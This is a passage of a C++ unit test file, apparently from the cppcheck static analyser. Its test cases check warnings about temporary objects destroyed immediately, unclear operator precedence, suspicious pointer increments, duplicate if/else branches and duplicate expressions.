;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 